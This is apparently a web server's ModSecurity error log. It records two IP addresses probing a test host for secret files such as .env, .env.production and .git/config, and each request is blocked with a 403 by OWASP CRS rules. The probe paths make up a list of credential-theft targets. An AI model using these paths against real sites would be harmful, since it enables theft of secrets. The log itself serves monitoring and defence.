[Sat Sep 20 07:31:57.001897 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aM48TK3RNP9eqEvJAdCb4wAAAAg&quot;]
[Sat Sep 20 07:31:57.024040 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aM48Ta3RNP9eqEvJAdCb5AAAAAg&quot;]
[Sat Sep 20 07:31:57.024258 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aM48Ta3RNP9eqEvJAdCb5AAAAAg&quot;]
[Sat Sep 20 07:31:57.024431 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aM48Ta3RNP9eqEvJAdCb5AAAAAg&quot;]
[Sat Sep 20 07:32:01.409480 2025] [:error] [pid 2867836] [client 45.148.10.157:50360] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48Ud23j7fe40XI1-oidQAAAAI&quot;]
[Sat Sep 20 07:32:01.409711 2025] [:error] [pid 2867836] [client 45.148.10.157:50360] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48Ud23j7fe40XI1-oidQAAAAI&quot;]
[Sat Sep 20 07:32:01.409901 2025] [:error] [pid 2867836] [client 45.148.10.157:50360] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48Ud23j7fe40XI1-oidQAAAAI&quot;]
[Sat Sep 20 07:32:15.012925 2025] [:error] [pid 2872147] [client 45.148.10.157:48420] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48X14fVdTvLkSBX-4o3gAAAAw&quot;]
[Sat Sep 20 07:32:15.013195 2025] [:error] [pid 2872147] [client 45.148.10.157:48420] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48X14fVdTvLkSBX-4o3gAAAAw&quot;]
[Sat Sep 20 07:32:15.013381 2025] [:error] [pid 2872147] [client 45.148.10.157:48420] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aM48X14fVdTvLkSBX-4o3gAAAAw&quot;]
[Sat Sep 20 07:32:24.377387 2025] [:error] [pid 2867834] [client 45.148.10.157:33296] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48aPIJPWoR2rp3y-lEqgAAAAA&quot;]
[Sat Sep 20 07:32:24.377630 2025] [:error] [pid 2867834] [client 45.148.10.157:33296] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48aPIJPWoR2rp3y-lEqgAAAAA&quot;]
[Sat Sep 20 07:32:24.377815 2025] [:error] [pid 2867834] [client 45.148.10.157:33296] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48aPIJPWoR2rp3y-lEqgAAAAA&quot;]
[Sat Sep 20 07:32:32.377863 2025] [:error] [pid 2867837] [client 45.148.10.157:33302] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48cBWoV8GvGoZiBq3WpwAAAAM&quot;]
[Sat Sep 20 07:32:32.378099 2025] [:error] [pid 2867837] [client 45.148.10.157:33302] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48cBWoV8GvGoZiBq3WpwAAAAM&quot;]
[Sat Sep 20 07:32:32.378285 2025] [:error] [pid 2867837] [client 45.148.10.157:33302] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48cBWoV8GvGoZiBq3WpwAAAAM&quot;]
[Sat Sep 20 07:32:38.381847 2025] [:error] [pid 2867898] [client 45.148.10.157:35876] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48dq3RNP9eqEvJAdCb5QAAAAg&quot;]
[Sat Sep 20 07:32:38.382104 2025] [:error] [pid 2867898] [client 45.148.10.157:35876] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48dq3RNP9eqEvJAdCb5QAAAAg&quot;]
[Sat Sep 20 07:32:38.382286 2025] [:error] [pid 2867898] [client 45.148.10.157:35876] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aM48dq3RNP9eqEvJAdCb5QAAAAg&quot;]
[Sat Sep 20 07:35:06.125503 2025] [:error] [pid 2867834] [client 45.148.10.157:43882] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aM49CvIJPWoR2rp3y-lEqwAAAAA&quot;]
[Sat Sep 20 07:35:06.125743 2025] [:error] [pid 2867834] [client 45.148.10.157:43882] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aM49CvIJPWoR2rp3y-lEqwAAAAA&quot;]
[Sat Sep 20 07:35:06.125921 2025] [:error] [pid 2867834] [client 45.148.10.157:43882] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aM49CvIJPWoR2rp3y-lEqwAAAAA&quot;]
[Sat Sep 20 07:35:20.199826 2025] [:error] [pid 2867898] [client 45.148.10.157:59948] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49GK3RNP9eqEvJAdCb6gAAAAg&quot;]
[Sat Sep 20 07:35:20.200174 2025] [:error] [pid 2867898] [client 45.148.10.157:59948] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49GK3RNP9eqEvJAdCb6gAAAAg&quot;]
[Sat Sep 20 07:35:20.200771 2025] [:error] [pid 2867898] [client 45.148.10.157:59948] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49GK3RNP9eqEvJAdCb6gAAAAg&quot;]
[Sat Sep 20 07:35:26.095575 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49Hk9ZCrSFbu-il1n8rAAAAAk&quot;]
[Sat Sep 20 07:35:26.095807 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49Hk9ZCrSFbu-il1n8rAAAAAk&quot;]
[Sat Sep 20 07:35:26.095988 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aM49Hk9ZCrSFbu-il1n8rAAAAAk&quot;]
[Sat Sep 20 07:35:29.331816 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aM49IU9ZCrSFbu-il1n8rQAAAAk&quot;]
[Sat Sep 20 07:35:29.332036 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aM49IU9ZCrSFbu-il1n8rQAAAAk&quot;]
[Sat Sep 20 07:35:29.332205 2025] [:error] [pid 2871947] [client 45.148.10.157:60418] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aM49IU9ZCrSFbu-il1n8rQAAAAk&quot;]
[Tue Sep 23 03:42:25.850724 2025] [:error] [pid 2942731] [client 195.178.110.155:52767] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7AZKnWnU9xU3Q1DmG1QAAAAA&quot;]
[Tue Sep 23 03:42:25.853429 2025] [:error] [pid 2942731] [client 195.178.110.155:52767] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7AZKnWnU9xU3Q1DmG1QAAAAA&quot;]
